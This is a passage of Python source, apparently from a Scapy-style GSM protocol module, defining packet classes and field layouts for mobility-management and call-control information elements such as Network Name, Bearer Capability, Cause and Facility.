ByteField("apuInfo171", None), ByteField("apuInfo172", None), ByteField("apuInfo173", None), ByteField("apuInfo174", None), ByteField("apuInfo175", None), ByteField("apuInfo176", None), ByteField("apuInfo177", None), ByteField("apuInfo178", None), ByteField("apuInfo179", None), ByteField("apuInfo180", None), ByteField("apuInfo181", None), ByteField("apuInfo182", None), ByteField("apuInfo183", None), ByteField("apuInfo184", None), ByteField("apuInfo185", None), ByteField("apuInfo186", None), ByteField("apuInfo187", None), ByteField("apuInfo188", None), ByteField("apuInfo189", None), ByteField("apuInfo190", None), ByteField("apuInfo191", None), ByteField("apuInfo192", None), ByteField("apuInfo193", None), ByteField("apuInfo194", None), ByteField("apuInfo195", None), ByteField("apuInfo196", None), ByteField("apuInfo197", None), ByteField("apuInfo198", None), ByteField("apuInfo199", None), ByteField("apuInfo200", None), ByteField("apuInfo201", None), ByteField("apuInfo202", None), ByteField("apuInfo203", None), ByteField("apuInfo204", None), ByteField("apuInfo205", None), ByteField("apuInfo206", None), ByteField("apuInfo207", None), ByteField("apuInfo208", None), ByteField("apuInfo209", None), ByteField("apuInfo210", None), ByteField("apuInfo211", None), ByteField("apuInfo212", None), ByteField("apuInfo213", None), ByteField("apuInfo214", None), ByteField("apuInfo215", None), ByteField("apuInfo216", None), ByteField("apuInfo217", None), ByteField("apuInfo218", None), ByteField("apuInfo219", None), ByteField("apuInfo220", None), ByteField("apuInfo221", None), ByteField("apuInfo222", None), ByteField("apuInfo223", None), ByteField("apuInfo224", None), ByteField("apuInfo225", None), ByteField("apuInfo226", None), ByteField("apuInfo227", None), ByteField("apuInfo228", None), ByteField("apuInfo229", None), ByteField("apuInfo230", None), ByteField("apuInfo231", None), ByteField("apuInfo232", None), ByteField("apuInfo233", None), ByteField("apuInfo234", None), ByteField("apuInfo235", None), ByteField("apuInfo236", None), ByteField("apuInfo237", None), ByteField("apuInfo238", None), ByteField("apuInfo239", None), ByteField("apuInfo240", None), ByteField("apuInfo241", None), ByteField("apuInfo242", None), ByteField("apuInfo243", None), ByteField("apuInfo244", None), ByteField("apuInfo245", None), ByteField("apuInfo246", None), ByteField("apuInfo247", None), ByteField("apuInfo248", None), ByteField("apuInfo249", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 250, a, self.fields_desc, 1) if self.lengthAD is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # # 10.5.3 Mobility management information elements # # len 3 to L3 max (251) (done) class NetworkName(Packet): """Network Name Section 10.5.3.5a""" name = "Network Name" fields_desc = [ XByteField("lengthNN", None), BitField("ext", 0x1, 1), BitField("codingScheme", 0x0, 3), BitField("addCi", 0x0, 1), BitField("nbSpare", 0x0, 3), # optional ByteField("txtString1", None), ByteField("txtString2", None), ByteField("txtString3", None), ByteField("txtString4", None), ByteField("txtString5", None), ByteField("txtString6", None), ByteField("txtString7", None), ByteField("txtString8", None), ByteField("txtString9", None), ByteField("txtString10", None), ByteField("txtString11", None), ByteField("txtString12", None), ByteField("txtString13", None), ByteField("txtString14", None), ByteField("txtString15", None), ByteField("txtString16", None), ByteField("txtString17", None), ByteField("txtString18", None), ByteField("txtString19", None), ByteField("txtString20", None), ByteField("txtString21", None), ByteField("txtString22", None), ByteField("txtString23", None), ByteField("txtString24", None), ByteField("txtString25", None), ByteField("txtString26", None), ByteField("txtString27", None), ByteField("txtString28", None), ByteField("txtString29", None), ByteField("txtString30", None), ByteField("txtString31", None), ByteField("txtString32", None), ByteField("txtString33", None), ByteField("txtString34", None), ByteField("txtString35", None), ByteField("txtString36", None), ByteField("txtString37", None), ByteField("txtString38", None), ByteField("txtString39", None), ByteField("txtString40", None), ByteField("txtString41", None), ByteField("txtString42", None), ByteField("txtString43", None), ByteField("txtString44", None), ByteField("txtString45", None), ByteField("txtString46", None), ByteField("txtString47", None), ByteField("txtString48", None), ByteField("txtString49", None), ByteField("txtString50", None), ByteField("txtString51", None), ByteField("txtString52", None), ByteField("txtString53", None), ByteField("txtString54", None), ByteField("txtString55", None), ByteField("txtString56", None), ByteField("txtString57", None), ByteField("txtString58", None), ByteField("txtString59", None), ByteField("txtString60", None), ByteField("txtString61", None), ByteField("txtString62", None), ByteField("txtString63", None), ByteField("txtString64", None), ByteField("txtString65", None), ByteField("txtString66", None), ByteField("txtString67", None), ByteField("txtString68", None), ByteField("txtString69", None), ByteField("txtString70", None), ByteField("txtString71", None), ByteField("txtString72", None), ByteField("txtString73", None), ByteField("txtString74", None), ByteField("txtString75", None), ByteField("txtString76", None), ByteField("txtString77", None), ByteField("txtString78", None), ByteField("txtString79", None), ByteField("txtString80", None), ByteField("txtString81", None), ByteField("txtString82", None), ByteField("txtString83", None), ByteField("txtString84", None), ByteField("txtString85", None), ByteField("txtString86", None), ByteField("txtString87", None), ByteField("txtString88", None), ByteField("txtString89", None), ByteField("txtString90", None), ByteField("txtString91", None), ByteField("txtString92", None), ByteField("txtString93", None), ByteField("txtString94", None), ByteField("txtString95", None), ByteField("txtString96", None), ByteField("txtString97", None), ByteField("txtString98", None), ByteField("txtString99", None), ByteField("txtString100", None), ByteField("txtString101", None), ByteField("txtString102", None), ByteField("txtString103", None), ByteField("txtString104", None), ByteField("txtString105", None), ByteField("txtString106", None), ByteField("txtString107", None), ByteField("txtString108", None), ByteField("txtString109", None), ByteField("txtString110", None), ByteField("txtString111", None), ByteField("txtString112", None), ByteField("txtString113", None), ByteField("txtString114", None), ByteField("txtString115", None), ByteField("txtString116", None), ByteField("txtString117", None), ByteField("txtString118", None), ByteField("txtString119", None), ByteField("txtString120", None), ByteField("txtString121", None), ByteField("txtString122", None), ByteField("txtString123", None), ByteField("txtString124", None), ByteField("txtString125", None), ByteField("txtString126", None), ByteField("txtString127", None), ByteField("txtString128", None), ByteField("txtString129", None), ByteField("txtString130", None), ByteField("txtString131", None), ByteField("txtString132", None), ByteField("txtString133", None), ByteField("txtString134", None), ByteField("txtString135", None), ByteField("txtString136", None), ByteField("txtString137", None), ByteField("txtString138", None), ByteField("txtString139", None), ByteField("txtString140", None), ByteField("txtString141", None), ByteField("txtString142", None), ByteField("txtString143", None), ByteField("txtString144", None), ByteField("txtString145", None), ByteField("txtString146", None), ByteField("txtString147", None), ByteField("txtString148", None), ByteField("txtString149", None), ByteField("txtString150", None), ByteField("txtString151", None), ByteField("txtString152", None), ByteField("txtString153", None), ByteField("txtString154", None), ByteField("txtString155", None), ByteField("txtString156", None), ByteField("txtString157", None), ByteField("txtString158", None), ByteField("txtString159", None), ByteField("txtString160", None), ByteField("txtString161", None), ByteField("txtString162", None), ByteField("txtString163", None), ByteField("txtString164", None), ByteField("txtString165", None), ByteField("txtString166", None), ByteField("txtString167", None), ByteField("txtString168", None), ByteField("txtString169", None), ByteField("txtString170", None), ByteField("txtString171", None), ByteField("txtString172", None), ByteField("txtString173", None), ByteField("txtString174", None), ByteField("txtString175", None), ByteField("txtString176", None), ByteField("txtString177", None), ByteField("txtString178", None), ByteField("txtString179", None), ByteField("txtString180", None), ByteField("txtString181", None), ByteField("txtString182", None), ByteField("txtString183", None), ByteField("txtString184", None), ByteField("txtString185", None), ByteField("txtString186", None), ByteField("txtString187", None), ByteField("txtString188", None), ByteField("txtString189", None), ByteField("txtString190", None), ByteField("txtString191", None), ByteField("txtString192", None), ByteField("txtString193", None), ByteField("txtString194", None), ByteField("txtString195", None), ByteField("txtString196", None), ByteField("txtString197", None), ByteField("txtString198", None), ByteField("txtString199", None), ByteField("txtString200", None), ByteField("txtString201", None), ByteField("txtString202", None), ByteField("txtString203", None), ByteField("txtString204", None), ByteField("txtString205", None), ByteField("txtString206", None), ByteField("txtString207", None), ByteField("txtString208", None), ByteField("txtString209", None), ByteField("txtString210", None), ByteField("txtString211", None), ByteField("txtString212", None), ByteField("txtString213", None), ByteField("txtString214", None), ByteField("txtString215", None), ByteField("txtString216", None), ByteField("txtString217", None), ByteField("txtString218", None), ByteField("txtString219", None), ByteField("txtString220", None), ByteField("txtString221", None), ByteField("txtString222", None), ByteField("txtString223", None), ByteField("txtString224", None), ByteField("txtString225", None), ByteField("txtString226", None), ByteField("txtString227", None), ByteField("txtString228", None), ByteField("txtString229", None), ByteField("txtString230", None), ByteField("txtString231", None), ByteField("txtString232", None), ByteField("txtString233", None), ByteField("txtString234", None), ByteField("txtString235", None), ByteField("txtString236", None), ByteField("txtString237", None), ByteField("txtString238", None), ByteField("txtString239", None), ByteField("txtString240", None), ByteField("txtString241", None), ByteField("txtString242", None), ByteField("txtString243", None), ByteField("txtString244", None), ByteField("txtString245", None), ByteField("txtString246", None), ByteField("txtString247", None), ByteField("txtString248", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 250, a, self.fields_desc, 1) if self.lengthNN is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class TimeZone(Packet): """Time Zone Section 10.5.3.8""" name = "Time Zone" fields_desc = [ ByteField("timeZone", 0x0), ] class TimeZoneAndTime(Packet): """Time Zone and Time Section 10.5.3.9""" name = "Time Zone and Time" fields_desc = [ ByteField("year", 0x0), ByteField("month", 0x0), ByteField("day", 0x0), ByteField("hour", 0x0), ByteField("minute", 0x0), ByteField("second", 0x0), ByteField("timeZone", 0x0) ] class CtsPermission(Packet): """CTS permission Section 10.5.3.10""" name = "Cts Permission" fields_desc = [ ] class LsaIdentifier(Packet): """LSA Identifier Section 10.5.3.11""" name = "Lsa Identifier" fields_desc = [ ByteField("lsaID", 0x0), ByteField("lsaID1", 0x0), ByteField("lsaID2", 0x0) ] # # 10.5.4 Call control information elements # #10.5.4.1 Extensions of codesets # This is only text and no packet class LockingShiftProcedure(Packet): """Locking shift procedure Section 10.5.4.2""" name = "Locking Shift Procedure" fields_desc = [ BitField("lockShift", 0x0, 1), BitField("codesetId", 0x0, 3) ] class NonLockingShiftProcedure(Packet): """Non-locking shift procedure Section 10.5.4.3""" name = "Non-locking Shift Procedure" fields_desc = [ BitField("nonLockShift", 0x1, 1), BitField("codesetId", 0x0, 3) ] class AuxiliaryStates(Packet): """Auxiliary states Section 10.5.4.4""" name = "Auxiliary States" fields_desc = [ XByteField("lengthAS", 0x3), BitField("ext", 0x1, 1), BitField("spare", 0x0, 3), BitField("holdState", 0x0, 2), BitField("mptyState", 0x0, 2) ] # len 3 to 15 class BearerCapability(Packet): """Bearer capability Section 10.5.4.5""" name = "Bearer Capability" fields_desc = [ XByteField("lengthBC", None), BitField("ext0", 0x1, 1), BitField("radioChReq", 0x1, 2), BitField("codingStd", 0x0, 1), BitField("transMode", 0x0, 1), BitField("infoTransCa", 0x0, 3), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("coding", None, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("spare", None, 2), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("speechVers", 0x0, 4), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("compress", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("structure", None, 2), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("dupMode", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("config", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("nirr", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("establi", 0x0, 1), lambda pkt: pkt.ext1 == 0), BitField("ext3", None, 1), BitField("accessId", None, 2), BitField("rateAda", None, 2), BitField("signaling", None, 3), ConditionalField(BitField("ext4", None, 1), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherITC", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherRate", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("spare1", 0x0, 3), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("ext5", 0x1, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("hdr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("multiFr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("mode", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("lli", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("assig", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("inbNeg", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("spare2", 0x0, 1), lambda pkt: pkt.ext4 == 0), BitField("ext6", None, 1), BitField("layer1Id", None, 2), BitField("userInf", None, 4), BitField("sync", None, 1), ConditionalField(BitField("ext7", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("stopBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("negoc", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("nbDataBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("userRate", None, 4), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("ext8", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("interRate", None, 2), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicTX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicRX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("parity", None, 3), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("ext9", None, 1), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("connEle", None, 2), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("modemType", None, 5), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("ext10", None, 1), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("otherModemType", None, 2), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("netUserRate", None, 5), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("ext11", None, 1), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("chanCoding", None, 4), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("maxTrafficChan", None, 3), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("ext12", None, 1), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("uimi", None, 3), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("airInterfaceUserRate", None, 4), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("ext13", 0x1, 1), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("layer2Ch", None, 2), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("userInfoL2", 0x0, 5), lambda pkt: pkt.ext12 == 0) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 15, a, self.fields_desc, 1) if res[0] != 0: p = p[:-res[0]] if self.lengthBC is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay class CallControlCapabilities(Packet): """Call Control Capabilities Section 10.5.4.5a""" name = "Call Control Capabilities" fields_desc = [ XByteField("lengthCCC", 0x3), BitField("spare", 0x0, 6), BitField("pcp", 0x0, 1), BitField("dtmf", 0x0, 1) ] class CallState(Packet): """Call State Section 10.5.4.6""" name = "Call State" fields_desc = [ BitField("codingStd", 0x0, 2), BitField("stateValue", 0x0, 6) ] # len 3 to 43 class CalledPartyBcdNumber(Packet): """Called party BCD number Section 10.5.4.7""" name = "Called Party BCD Number" fields_desc = [ XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), BitField("nbDigit32", None, 4), BitField("nbDigit31", None, 4), BitField("nbDigit34", None, 4), BitField("nbDigit33", None, 4), BitField("nbDigit36", None, 4), BitField("nbDigit35", None, 4), BitField("nbDigit38", None, 4), BitField("nbDigit37", None, 4), BitField("nbDigit40", None, 4), BitField("nbDigit39", None, 4), # ^^^^^^ 20 first optional bytes ^^^^^^^^^^^^^^^ BitField("nbDigit42", None, 4), BitField("nbDigit41", None, 4), BitField("nbDigit44", None, 4), BitField("nbDigit43", None, 4), BitField("nbDigit46", None, 4), BitField("nbDigit45", None, 4), BitField("nbDigit48", None, 4), BitField("nbDigit47", None, 4), BitField("nbDigit50", None, 4), BitField("nbDigit49", None, 4), BitField("nbDigit52", None, 4), BitField("nbDigit51", None, 4), BitField("nbDigit54", None, 4), BitField("nbDigit53", None, 4), BitField("nbDigit56", None, 4), BitField("nbDigit55", None, 4), BitField("nbDigit58", None, 4), BitField("nbDigit57", None, 4), BitField("nbDigit60", None, 4), BitField("nbDigit59", None, 4), BitField("nbDigit62", None, 4), BitField("nbDigit61", None, 4), BitField("nbDigit64", None, 4), BitField("nbDigit63", None, 4), BitField("nbDigit66", None, 4), BitField("nbDigit65", None, 4), BitField("nbDigit68", None, 4), BitField("nbDigit67", None, 4), BitField("nbDigit70", None, 4), BitField("nbDigit69", None, 4), BitField("nbDigit72", None, 4), BitField("nbDigit71", None, 4), BitField("nbDigit74", None, 4), BitField("nbDigit73", None, 4), BitField("nbDigit76", None, 4), BitField("nbDigit75", None, 4), BitField("nbDigit78", None, 4), BitField("nbDigit77", None, 4), BitField("nbDigit80", None, 4), BitField("nbDigit79", None, 4), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 42, a, self.fields_desc, 1) if self.lengthCPBN is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 2 to 23 class CalledPartySubaddress(Packet): """Called party subaddress Section 10.5.4.8""" name = "Called Party Subaddress" fields_desc = [ XByteField("lengthCPS", None), # optional BitField("ext", None, 1), BitField("subAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 23, a, self.fields_desc, 1) if self.lengthCPS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 3 to 14 class CallingPartyBcdNumber(Packet): """Called party subaddress Section 10.5.4.9""" name = "Called Party Subaddress" fields_desc = [ XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", 0x0, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 13, a, self.fields_desc, 1) if res[0] != 0: p = p[:-res[0]] if self.lengthCPBN is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # len 2 to 23 class CallingPartySubaddress(Packet): """Calling party subaddress Section 10.5.4.10""" name = "Calling Party Subaddress" fields_desc = [ XByteField("lengthCPS", None), # optional BitField("ext1", None, 1), BitField("typeAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 22, a, self.fields_desc, 1) if self.lengthCPS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 4 to 32 class Cause(Packet): """Cause Section 10.5.4.11""" name = "Cause" fields_desc = [ XByteField("lengthC", None), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("recommendation", 0x1, 7), lambda pkt: pkt.ext == 0), # optional BitField("ext2", None, 1), BitField("causeValue", None, 7), ByteField("diagnositc0", None), ByteField("diagnositc1", None), ByteField("diagnositc2", None), ByteField("diagnositc3", None), ByteField("diagnositc4", None), ByteField("diagnositc5", None), ByteField("diagnositc6", None), ByteField("diagnositc7", None), ByteField("diagnositc8", None), ByteField("diagnositc9", None), ByteField("diagnositc10", None), ByteField("diagnositc11", None), ByteField("diagnositc12", None), ByteField("diagnositc13", None), ByteField("diagnositc14", None), ByteField("diagnositc15", None), ByteField("diagnositc16", None), ByteField("diagnositc17", None), ByteField("diagnositc18", None), ByteField("diagnositc19", None), ByteField("diagnositc20", None), ByteField("diagnositc21", None), ByteField("diagnositc22", None), ByteField("diagnositc23", None), ByteField("diagnositc24", None), ByteField("diagnositc25", None), ByteField("diagnositc26", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 31, a, self.fields_desc, 1) if res[0] != 0: p = p[:-res[0]] if self.lengthC is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay class ClirSuppression(Packet): """CLIR suppression Section 10.5.4.11a""" name = "Clir Suppression" fields_desc = [ ] class ClirInvocation(Packet): """CLIR invocation Section 10.5.4.11b""" name = "Clir Invocation" fields_desc = [ ] class CongestionLevel(Packet): """Congestion level Section 10.5.4.12""" name = "Congestion Level" fields_desc = [ BitField("notDef", 0x0, 4) # not defined by the std ] # len 3 to 14 class ConnectedNumber(Packet): """Connected number Section 10.5.4.13""" name = "Connected Number" fields_desc = [ XByteField("lengthCN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("typePlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", None, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 13, a, self.fields_desc, 1) if res[0] != 0: p = p[:-res[0]] if self.lengthCN is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # len 2 to 23 class ConnectedSubaddress(Packet): """Connected subaddress Section 10.5.4.14""" name = "Connected Subaddress" fields_desc = [ XByteField("lengthCS", None), # optional BitField("ext", None, 1), BitField("typeOfSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 22, a, self.fields_desc, 1) if self.lengthCS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 2 to L3 (251) (done) class Facility(Packet): """Facility Section 10.5.4.15""" name = "Facility" fields_desc = [ XByteField("lengthF", None), # optional ByteField("facilityInfo1", None), ByteField("facilityInfo2", None), ByteField("facilityInfo3", None), ByteField("facilityInfo4", None), ByteField("facilityInfo5", None), ByteField("facilityInfo6", None), ByteField("facilityInfo7", None), ByteField("facilityInfo8", None), ByteField("facilityInfo9", None), ByteField("facilityInfo10", None), ByteField("facilityInfo11", None), ByteField("facilityInfo12", None), ByteField("facilityInfo13", None), ByteField("facilityInfo14", None), ByteField("facilityInfo15", None), ByteField("facilityInfo16", None), ByteField("facilityInfo17", None), ByteField("facilityInfo18", None), ByteField("facilityInfo19", None), ByteField("facilityInfo20", None), ByteField("facilityInfo21", None), ByteField("facilityInfo22", None), ByteField("facilityInfo23", None), ByteField("facilityInfo24", None), ByteField("facilityInfo25", None), ByteField("facilityInfo26", None), ByteField("facilityInfo27", None), ByteField("facilityInfo28", None), ByteField("facilityInfo29", None), ByteField("facilityInfo30", None), ByteField("facilityInfo31", None), ByteField("facilityInfo32", None), ByteField("facilityInfo33", None), ByteField("facilityInfo34", None), ByteField("facilityInfo35", None), ByteField("facilityInfo36", None), ByteField("facilityInfo37", None), ByteField("facilityInfo38", None), ByteField("facilityInfo39", None), ByteField("facilityInfo40", None), ByteField("facilityInfo41", None), ByteField("facilityInfo42", None), ByteField("facilityInfo43", None), ByteField("facilityInfo44", None), ByteField("facilityInfo45", None), ByteField("facilityInfo46", None), ByteField("facilityInfo47", None), ByteField("facilityInfo48", None), ByteField("facilityInfo49", None), ByteField("facilityInfo50", None), ByteField("facilityInfo51", None), ByteField("facilityInfo52", None), ByteField("facilityInfo53", None), ByteField("facilityInfo54", None), ByteField("facilityInfo55", None), ByteField("facilityInfo56", None), ByteField("facilityInfo57", None), ByteField("facilityInfo58", None), ByteField("facilityInfo59", None), ByteField("facilityInfo60", None), ByteField("facilityInfo61", None), ByteField("facilityInfo62", None), ByteField("facilityInfo63", None), ByteField("facilityInfo64", None), ByteField("facilityInfo65", None), ByteField("facilityInfo66", None), ByteField("facilityInfo67", None), ByteField("facilityInfo68", None), ByteField("facilityInfo69", None), ByteField("facilityInfo70", None), ByteField("facilityInfo71", None), ByteField("facilityInfo72", None), ByteField("facilityInfo73", None), ByteField("facilityInfo74", None), ByteField("facilityInfo75", None), ByteField("facilityInfo76", None), ByteField("facilityInfo77", None), ByteField("facilityInfo78", None), ByteField("facilityInfo79", None), ByteField("facilityInfo80", None), ByteField("facilityInfo81", None), ByteField("facilityInfo82", None), ByteField("facilityInfo83", None), ByteField("facilityInfo84", None), ByteField("facilityInfo85", None), ByteField("facilityInfo86", None), ByteField("facilityInfo87", None), ByteField("facilityInfo88", None), ByteField("facilityInfo89", None), ByteField("facilityInfo90", None), ByteField("facilityInfo91", None), ByteField("facilityInfo92", None), ByteField("facilityInfo93", None), ByteField("facilityInfo94", None), ByteField("facilityInfo95", None), ByteField("facilityInfo96", None), ByteField("facilityInfo97", None), ByteField("facilityInfo98", None), ByteField("facilityInfo99", None), ByteField("facilityInfo100", None), ByteField("facilityInfo101", None), ByteField("facilityInfo102", None), ByteField("facilityInfo103", None), ByteField("facilityInfo104", None), ByteField("facilityInfo105", None), ByteField("facilityInfo106", None), ByteField("facilityInfo107", None), ByteField("facilityInfo108", None), ByteField("facilityInfo109", None), ByteField("facilityInfo110", None), ByteField("facilityInfo111", None), ByteField("facilityInfo112", None), 